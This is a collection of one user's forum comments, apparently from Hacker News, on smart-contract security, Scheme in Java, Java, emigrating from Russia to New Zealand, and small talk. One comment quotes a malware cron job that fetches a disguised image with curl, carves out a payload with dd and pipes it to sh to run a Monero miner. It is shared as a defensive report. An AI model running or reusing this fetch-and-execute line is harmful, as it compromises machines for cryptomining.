kovrik

Normally, if you deal with money, then you try to be extremely careful, right? You have to care much about security, verify that your app is not vulnerable, make an audit etc.

And I think that even beginners know that you can't trust users' input - you have to sanitize it. And under no circumstances you want to execute it!

But here it is the opposite, isn't it? You basically give users ability to run any code within your application (blockchain). And you give them very insecure, confusing and badly designed language.

To me it is an epitome of insecurity. It is like giving a shotgun to a child!

Reminded me of "Objects are merely a poor man's closures": http://wiki.c2.com/?ClosuresAndObjectsAreEquivalent

Artpip is great, use it for months now, really love it!

There is one thing though: I also have LittleSnitch installed and it shows that Artpip often tries to connect to direct IPs.

Personally, I don't like giving apps permissions to connect to some random IPs.

Would be nice if it used something more meaningful, like images.artpip.com.

What strikes me is the fact that many people can definitely and clearly believe that 'cults are bad and dangerous', but be religious at the same time! It seems weird that people can't see that church and cults are basically the same thing.

So do memristors exist or not? Wiki claims they are still 'hypothetical'.

What a coincidence!

Just today at work we've found malware on some of our servers. That malware added this cron job:

/60 * * * curl http://img1.imagehousing.com/0/art-825604.jpg -k|dd skip=2316 bs=1|sh

If you execute that command (without | sh part) and save output into .sh script, you'll see that it is running a miner (consuming lots of CPU) for this Monero pool: xmr.crypto-pool.fr:3333

See: https://www.sophos.com/en-us/medialibrary/PDFs/technical-pap...

I'm working on R5RS Scheme implementation in Java: https://github.com/kovrik/scheme-in-java

There are only 2 major things TODO: macros and Java interop (currently working on it). Almost everything else is complete.

It's just a one person hobby project, but that's a lot of fun!

I disagree. Yes, Java is verbose, but all this verbosity makes sense.

I think it is better to write more code, but be able to understand it and reason about it, than write one line and rely on all magic under the hood (having no idea how it works).

Reminded me about good old https://codon.com/programming-with-nothing

As a Java developer, I am really jealous!

Well, you can come here, get residency, wait 2 years for a permanent residency or 5 years for a citizenship and then move to Australia. That is what most people with ambitions do here

These are mostly for government structures, military etc. No one is using them (or, say, Elbrus) at home for PC's/workstations. Maybe only some geeks and just for fun. Usually you can't even buy them in normal computer stores (at least I have never seen any).

> I thought eg salaries there were very low.

It depends. I'm talking more about salary/rent ratio. In Russia I was spending about 30% of my salary for rent (and apartment was big and new and nice). Here I spend about 40%. And apartment is tiny and bad (in comparison). Then, here I pay much more for broadband ($95, and it is much slower), more for a phone. And fuel is muuuch more expensive here.

> Again, where is this different? I'd love to go.

Back in Russia, in all companies I've worked at (not top-tier companies) the team was great: they knew a lot of stuff, we were discussing JVM internals during lunch breaks, talked about new things in IT etc. I miss that.

Yes, doctors get very good money here. But google it, most probably your wife will have to pass exams or something to prove her qualification and work here as a doctor.

And NZ is a wonderful country for kids!

Also, french community is quite large here!

My wife and I moved to NZ (from Russia) 2+ years ago. I work in IT (Software Developer). We live in Auckland.

My impressions are:

PROS: - very beautiful country. Really, nature here is amazing!

- people are very friendly

- everything is quite simple and small, people know each other. It is more like a village, not a City

- climate is fine (in Auckland). Humidity is high - that is why it feels hot in summer and cold in winter

- no earthquakes (Auckland)

- very safe country

- coffee and beer and foods are amazing!

- it is clean

- lack of stress, slow pace of life

CONS:

- NZ is unreasonably expensive country to live in

- you can't really make money here. All salaries are pretty much the same. You'll get enough for living, but not much more.

- job market is small and weird (hence, limited career opportunities)

- rent is very high. You'll spend 40-60% of your salary on a rent.

- house prices are unreasonably high. It will be very difficult to buy a good house/apartment here

- quality of houses/apartments is very bad. They are tiny, old, ugly. Well, there are some nice houses, but they are far from CBD

- it is far far away from the rest of the world, hence it is expensive to travel from NZ to other countries

- it is boring here. Nothing is going on. About 4-5 good concerts/exhibitions/shows per year and that's it. The only ways to entertain yourself are: food (pubs, cafes, restaurants etc. But choice is very limited) and nature (hiking, camping, surfing, caving etc.)

- almost all cafes and shops close at 4-6pm. Yes, not many places to go after work.

- if you (or your wife) like shopping, then you'll be disappointed. Again, choice is very limited, quality is quite low, prices are unreasonably high.

- IT: it is just my opinion, but I would say that average IT specialist in NZ doesn't know much. I see a lot of IT people here who, for example, don't know how to use Git. Who never heard about Rust. Who never heard about LISP. Who have 8 years of Java experience, but don't know basic Java stuff. And so on. Honestly, this is quite disappointing

- companies don't hire you for your skills. They don't usually ask any technical question during interviews. Most probably they will just check if you are kind, polite, if you smile, if you can sell yourself

- employers here often require mythical 'New Zealand Experience'. Which means that if you've never worked in NZ, then it will be difficult for you to find your first job here (because you don't have NZ experience yet)

- people don't work hard here. They come to work slowly, relax, read news, drink coffee, work a little bit, then have lunch, then work a little bit again. When it's 5pm - they just go home.

- public transport is bad

Overall, NZ is a very very nice country, but it has some REALLY annoying and weird stuff. If you _don't_ really want to make a Career and Money, just want to relax, want to have no stress and anxiety, if you enjoy nature, then it would be great for you.

If you are more a 'city guy', who wants things to happen all the time around, who wants to make a career, have opportunities, who wants to live in a big modern city, then honestly, I would recommend Australia (Melbourne/Sydney) over New Zealand.

My wife and I are planning to move to Australia in the future.

HyperLogLog

I'm currently working on such a product.

Thank you so much for the book, please, continue!

I am currently working on Scheme R5RS implementation in Java. It is a hobby project, but I'm really enjoying it. It is somewhat enlightening.

Look forward to reading the Optimization chapter: I couldn't find much useful and practical info on that. I think it is quite easy to implement your interpreter, but it is really difficult (at least for me) to make it fast.

Can anyone recommend any articles or books with common optimization tricks and techniques?

What does 'linked' word mean here?

I see that verb in biological/medical articles very often and it always makes me think that researchers are very unsure about the results. It is like 'We believe there is a correlation, but we don't know for sure'.

Am I wrong?

Yes, that is a problem.

On the other hand, with your approach you are going to have revisions that won't even build/compile.

If you have automatic builds or/and unit/integration tests, then you'll have failed builds every time you have a merge conflict.

Also, you are kind of 'polluting a well': what if meanwhile someone merges that revision into his/her branch? Or what if you have automatic merges configured?

Agree: "Then improve", but not "Write another blog post about it"

Honestly, I'm really tired of all these 'Let's replace Twitter', 'Twitter is dead' etc. stuff.

Yes, Twitter is not perfect from business perspective, but users should not care.

Twitter is also not perfect from users' perspective, but it works and people use it. That is enough.

I have left my parents and many friends and colleagues in Russia. They all are kind and smart and good people. They just can't leave the country as I did: they don't want to, they are bound to their family, they have business there, they don't work in IT, they don't know English etc.

The fact that you've left Russia is not making you `special` or `elite`. There are bad and stupid people everywhere, as well as good and smart and awesome people. World is not black and white.

You are right, English is almost useless in Russia.

It IS useful if you work in IT and have to read docs, but basic English is enough for that.

As far as I understand, the difference is that in our reality and perception, all strangers are 'bad' by default, they want to hurt us, they are suspicious etc. But if we know each other closer, if we confirm that the other guy is a good guy, then we can relax, talk, smile etc.

In your culture you tend to think that all strangers are good by default, they are harmless, they are kind and interesting, hence you are trying to be polite with them. But if you know each other closer and you find out that the other guy is not a good guy, then you stop being polite.

So, basically we are coming from the opposite directions :)

Update: no, he has just responded, says that LinkedIn still works fine, probably they are negotiating or something.

I am a Russian too, moved to New Zealand. I was talking to my colleague from Russia via Linkedin, he was asking me about moving to NZ, getting the visa and so on. But now he can't read my response...sigh

I don't talk much as well (I am originally from Russia, we don't smile much too + I am a software developer). And if I do, I prefer to talk for a reason.

But now I live and work in New Zealand and smalltalks here is a must. And that is really difficult for me.

My advice: just talk. People like to talk random meaningless things. Talk to your colleagues about the weather, about plans for weekends, about their current tasks, ask if they are ok, ask about their car/bike/cat/dog, invite for a coffee etc.

And don't be afraid to repeat yourself. Literally, they ask the same things everyday.

Or use hexl-mode in Emacs